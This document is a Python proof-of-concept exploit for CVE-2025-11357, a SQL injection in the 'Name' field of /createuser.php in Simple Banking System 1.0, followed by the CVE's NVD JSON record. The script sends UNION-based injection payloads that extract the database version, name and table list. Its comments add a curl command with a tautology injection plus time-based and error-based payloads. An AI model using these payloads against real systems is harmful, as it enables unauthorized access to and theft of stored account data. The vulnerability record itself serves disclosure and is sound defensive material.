CVE-2025-11357

# CVE-2025-11357 - Simple Banking System SQL Injection PoC # Vulnerability: SQL Injection via 'Name' parameter in /createuser.php # Author: Security Researcher # Tested on: Simple Banking System 1.0 import requests import sys # Target configuration TARGET_URL = "http://target.com/createuser.php" # Attacker credentials (low privilege required) SESSION_COOKIES = { "PHPSESSID": "your_session_id_here" } # SQL Injection payload targeting the 'Name' parameter # Payload: Extract database version via UNION-based injection PAYLOAD = "admin' UNION SELECT 1,version(),3,4-- -" def exploit_sql_injection(target_url, payload, cookies): """ Exploit SQL injection in the Name parameter of createuser.php """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } # Data to be submitted - the 'Name' field contains the injection payload data = { "Name": payload, "AccountNo": "1234567890", "Address": "Test Address", "Phone": "1234567890", "Email": "[email protected]", "Password": "password123", "submit": "Submit" } try: response = requests.post( target_url, data=data, headers=headers, cookies=cookies, timeout=10, verify=False ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for successful injection indicators if "error" not in response.text.lower() and response.status_code == 200: print("[+] SQL Injection may have succeeded!") print(f"[+] Response snippet: {response.text[:500]}") else: print("[-] Injection attempt may have failed") return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def enumerate_database(target_url, cookies): """ Enumerate database information using UNION-based injection """ # Extract current database name payload_db = "test' UNION SELECT 1,database(),3,4-- -" print(f"\n[*] Extracting database name with payload: {payload_db}") exploit_sql_injection(target_url, payload_db, cookies) # Extract table names payload_tables = "test' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -" print(f"\n[*] Extracting table names with payload: {payload_tables}") exploit_sql_injection(target_url, payload_tables, cookies) if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Targeting: {TARGET_URL}") print("[*] CVE-2025-11357 - SQL Injection PoC") print("=" * 60) # Run basic injection test exploit_sql_injection(TARGET_URL, PAYLOAD, SESSION_COOKIES) # Optionally enumerate database # enumerate_database(TARGET_URL, SESSION_COOKIES) # Alternative manual curl command: # curl -X POST "http://target.com/createuser.php" \ # -d "Name=admin' OR '1'='1'-- -&AccountNo=12345&submit=Submit" \ # -b "PHPSESSID=your_session_id" # Time-based blind SQLi alternative payload: # Name=test' AND SLEEP(5)-- - # Error-based SQLi alternative payload: # Name=test' AND extractvalue(1,concat(0x7e,version()))-- -

{"cve": {"id": "CVE-2025-11357", "sourceIdentifier": "[email protected]", "published": "2025-10-07T08:15:34.230", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A security flaw has been discovered in code-projects Simple Banking System 1.0. This issue affects some unknown processing of the file /createuser.php. Performing manipulation of the argument Name results in sql injection. The attack may be initiated remotely. The exploit has been released to the public and may be exploited."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-74"}, {"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:codeastro:simple_banking_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "82D034EC-9EA5-4594-8961-92AD4757D883"}]}]}], "references": [{"url": "https://code-projects.org/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/QuJun1/cve/issues/1", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking"]}, {"url": "https://vuldb.com/?ctiid.327244", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.327244", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}, {"url": "https://vuldb.com/?submit.664962", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}